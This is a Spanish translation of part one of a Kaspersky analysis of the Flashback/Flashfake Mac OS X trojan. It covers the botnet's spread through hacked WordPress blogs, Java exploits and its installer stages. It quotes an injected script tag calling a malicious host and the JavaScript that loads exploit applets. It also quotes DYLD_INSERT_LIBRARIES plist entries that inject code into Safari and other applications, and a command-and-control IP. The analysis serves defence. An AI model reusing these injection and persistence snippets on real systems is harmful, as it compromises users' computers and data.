La Anatomía de Flashfake – Primera Parte

TECNOVIRUS – Este artículo ha sido traducido del original en inglés, posteado en Securelist.com por Alexander Gostev  y Sergey Golovanov, expertos analistas de Kaspersky Lab Russia.

¿Qué es Flashback/Flashfake?

Se trata de una familia de malware para Mac OS X. Las primeras versiones de este tipo de amenazas se detectaron en septiembre de 2011. En marzo de 2012 alrededor de 700.000 computadoras en todo el mundo fueron infectadas por Flashback. Los ordenadores infectados se combinan en una botnet que permite a los cibercriminales instalar otros módulos maliciosos en ellos cuando quieran. Uno de estos módulos es conocido por generar falsos resultados de los motores de búsqueda. Es muy posible que, aparte de interceptar el tráfico de los motores de búsqueda, los cibercriminales pueden instalar otros módulos maliciosos a las computadoras ya infectadas – Ej.: para robo de datos o distribución de Spam.

La fase cero de la infección: Blogs de WordPress hackeados.

Desde septiembre del 2011 hasta febrero del 2012 Flashfake fue distribuido usando únicamente ingeniería social: a quienes visitaron distintos sitios web se les pidió que descargasen una falsa actualización de Adobe Flash Player. De esta forma el Troyano estuvo siendo distribuido como un archivo de instalación llamado tal vez “FlashPlayer-11-macos.pkg”, “AdobeFlashUpdate.pkg”, etc.

El uso de exploits para distribuir Flashfake fue detectado por primera vez en febrero del 2012; algunos exploits del año 2008 y otros del 2011 fueron usados en tales ataques. La explotación de la vulnerabilidad CVE2012-0507 fue reportada en marzo de este año. A este punto, se determinó que era una vulnerabilidad en el Mac OS X que todavía no había sido “parchada”, a pesar del hecho que Oracle había lanzado un parche para la misma en febrero. Esto sucedió debido a que Apple jamás usa parches de Oracle, prefiriendo crear sus propios parches para cerrar vulnerabilidades de Java. El parche de Mac OS X que cerraba la vulnerabilidad CVE2012-0507 fue lanzado tardíamente a principios de abril

Esta práctica de lanzar parches con hasta dos meses de retraso es tradicional en Apple, como pueden apreciar en esta tabla.

Vulnerabilidad	Fecha del Parche de Oracle	Fecha del Parche de Apple
CVE2008-5353	14 de abril de 2009	15 de junio de 2009
CVE2011-3544	18 de octubre de 2011	8 de noviembre de 2011
CVE2012-0507	14 de febrero de 2012	03 al 12 de abril de 2012

Para poder esparcir a Flashfake durante marzo de este año, los autores usaron un programa partner  cibercriminal que según parece es de origen ruso. Este programa partner está basado en scripts redirecionados desde un gran número de sitios web legítimos de todo el mundo. Entre finales de febrero y principios de marzo de este año, decenas de miles de websites que corrían bajo WordPress estaban comprometidos. ¿Cómo sucedió esto? No está claro del todo.  Las teorías principales indican que los blogueros estaban usando versiones vulnerables de WordPress o que habían instalado el plugin ToolsPack. Websense calculó el número de websites afectado cerca de los 30 mil, mientras que otras compañías aseguraban que las cifras podían ser tan altas como los 100 mil. Aproximadamente el 85% de los blogs comprometidos estaban localizados en los Estados Unidos.

El código fue inyectado en las páginas principales cuando los blogs fueron hackeados. Construcciones del siguiente tipo fueron añadidas por el código (ejemplo):

<script src=»http://domainname.rr.nu/nl.php?p=d»></script>

Como resultado, cuando cualquiera de los sitios comprometidos era visitado, un programa partner TDS era contactado. Dependiendo del sistema operativo y la versión del navegador, este último realizaba una redirección escondida hacia sitios en la zona de dominios rr.no los cuales ya tenían instalado el set apropiado de exploits para propagar una infección.

La primera fase de la infección: ingeniería social y ataques drive-by-download.

Durante las redirecciones escondidas (ej.: hxxp://ixeld52erlya.rr.nu/n.php?h=1&s=pmg), el navegador accesaba a folders /3f/ or /7f/ en el website malicioso y ejecutaba un JavaScript que cargaba un applet Java.

He aquí un ejemplo del script:

if(rts != «on»){ 
document.write(‘<applet archive=»rh-3.jar» code=»rhcls» width=»1″ 
height=»1″></applet>’); 
document.write(‘<applet archive=»cl-3.jar» code=»msf/x/AppletX» 
width=»1″ height=»1″></applet>’); 
}

El ataque involucraba un intento por ejecutar cuatro archivos Jar (aplicaciones de Java). Tres de estos eran exploits para vulnerabilidades Java; el cuarto estaba disfrazado como una aplicación legítima, con ingeniería social empleada para engañar a las víctimas.

Vulnerabilidades explotadas:

•  CVE2008-5353 («deserializar objetos del calendario»)
• CVE2011-3544
• CVE2012-0507

Cada archivo Jar contenía un exploit para cada vulnerabilidad y un archivo malicioso ejecutable que era extraído e instalado en el sistema.

Si la explotación no resulta exitosa, se intenta de otra forma empleando un applet de Java diseñado a semejanza del original, con firma legítima de Apple para así poder lograr que el usuario le de los derechos para instarlo en su computadora.

Este método de distribución de Flashfake fue descubierto en febrero de 2012.

Los atacantes confiaban en que el usuario les diera la autorización a la aplicación para que esta accesara al sistema, debido a que el paquete parecía estar firmado por Apple. En realidad este archivo no tiene la firma digital de Apple: el certificado fue forjado por los cibercriminales.

Si el usuario otorga los permisos solicitados por el applet, un archivo malicioso era extraído e instalado.

Entonces la ejecución de cualquiera de los cuatro applets descritos anteriormente en este artículo (aquellos que contenían exploits o aquel solicitando los permisos del usuario) dentro del navegador resultaba en la instalación de un archivo contenedor que operaba como un downloader e instalador para los componentes restantes de Flashfake.

El archivo era instalado en /tmp/.sysenter y lanzado (cuando el exploit CVE2012-0507 era usado, un archivo al azar era originado).

Segunda fase de la infección: downloader de primera etapa.

El archivo instalado en los sistemas es un contenedor en formato binario Mach-O, dentro del cual estaban módulos de 32 o 64-bit – ambas versiones con funcionalidad prácticamente idéntica.

La función principal del módulo es establecer comunicación con el servidor C&C de la primera etapa, descargar módulos adicionales de él e unstalarlos en el sistema. Tras completar estas funciones, el módulo se borra a si mismo y no reaparece en el sistema infectado.

Cuando se lanza, el módulo cheqea si las aplicaciones LittleSnitch (un firewall popular para Mac OS X), XCode (un toolkit para desarrollar aplicaciones de OSX), el VirusBarrierX6.app, iAntivirus.app, avast!.app, y ClamXav.app están presentes en el sistema, o si en su defecto lo están HTTPScoop.app y PacketPeeper.app. si alguna de estas aplicaciones están presentes, el módulo se auto-destruye.

Si no es así, el módulo se conecta a uno de los servidores C&C (ej.: ), se comunica con la UUID (Identificaro Unico Universal) de la computadora de la víctima y obtiene información adicional del sistema (su versión). El servidor responde enviándole el paquete de datos conteniendo dos componentes adicionales encruptados con una llave basada en la UUID de la computadora de la víctima.

Luego de que el paquete de datos es cargado, el módulo extrae archivos componentes desde el mismo e intenta instalarlos en el sistema:

El “backdoor downloader” es el primer componente a ser instalado. Es el módulo principal del bot, y responsable de asegurar la interacción con el botnet y la descarga de actualizaciones.

El instalador salva el cuerpo del backdoor con un nombre arbitrario (empezando con un punto – ej.: “.null.”) en la partición raíz de la carpeta $HOME/ del usuario.

El instalador también crea el archivo .plist (ver mas abajo) para asegurar la contínua operación del backdoor:

Este archivo es instalado en $HOME/Library/LaunchAgents/. Esto asegura que el módulo del backdoor sea cargado cada vez que el sistema es iniciado. El segundo componente instalado desde la internet intercepta el tráfico web y sustituye las páginas en el browser.

El procedimiento de instalación de este módulo ha cambiado significativamente en la última versión del instalador de Flashfake, el cual se propaga a ravés de la vulnerabilidad CVE2012-0507. Ver mas abajo para una descripción.

El instalador invoca la función de sistema para pedir permisos de administrador y espera a que el usuario inserte el login y el password.

Si el usuario ingresa la información requerida, el instalador es capaz de abrir y editar la aplicación del navegador Safari.app (Applications/Safari.app/Contents/Resources/) y salvar el módulo allí mismo para que intercepte el tráfico y sustituya las páginas, además de insertar un segundo módulo que lanza al primero en el proceso web. Los nombres d estos módulos son escogidos al azar, pero comienzan con un punto y terminan con las extensiones .png y .xsl.

Para asegurarse de que los módulos son lanzados automáticamente, el instalador modifica el contenido del archivo /Applications/Safari.app/Contents/Info.plist, añadiendo las siguientes líneas al mismo:

<key>LSEnvironment</key>

<dict>

<key>DYLD_INSERT_LIBRARIES</key>

<string>/Applications/Safari.app/Contents/Resources/.имя_файла.xsl</string>

</dict>

Si estas acciones logran su objetivo, el instalador se conectará con el servidor de Comando y Control, por ejemplo, 31.31.79.87/stat_d/, y notificará sobre el éxito de la operación. Si durante la instalación ocurre un error, la conexión se realizará a, por ejemplo, 31.31.79.87/stat_n/.

Tras concluir estas operaciones, el instalador reiniciará el navegador Safari para activar las modificaciones, dejará de funcionar y se autoeliminará del sistema.

Si el usuario no ingresa el nombre de usuario y contraseña de administrador y pulsa “Cancelar”, los módulos se instalarán mediante otro método.

En primer lugar, el instalador busca en el sistema las siguientes aplicaciones: MicrosoftWord.app, MicrosoftOffice 2008, Applications/MicrosoftOffice 2011, y Skype.app. Si las encuentra, el instalador deja de funcionar y se autoelimina del sistema.

A continuación se instala en /Users/Shared/ el módulo para la intercepción del tráfico con el nombre de .libgmalloc.dylib.

Previamente, el instalador borra los archivos en esta carpeta con el comando rm -f /Users/Shared/.*.so. Esta operación de eliminación tiene el objetivo, seguramente, de borrar versiones anteriores de Flashfake presentes en el sistema.

Entonces el instalador crea el archivo $HOME/.MacOS/environment.plist y guarda en él los siguientes hilos:

<key>DYLD_INSERT_LIBRARIES</key>

<string>/Users/Shared/.libgmalloc.dylib</string>

En consecuencia, el módulo se conecta y se carga en cada aplicación ejecutada.

Otro componente auxiliar se instalará en la carpeta $HOME/Library/Application Support/ del usuario con un nombre aleatorio que comienza con un punto y tiene una extensión .tmp.

Tras completarse la instalación, el instalador se conectará con el servidor de Comando y Control, por ejemplo, 31.31.79.87/stat_u/, para informar sobre el éxito de la infección. Entonces el instalador dejará de funcionar y se autoeliminará.

 

Continuará en la segunda parte a postearse el día miércoles 26 de junio.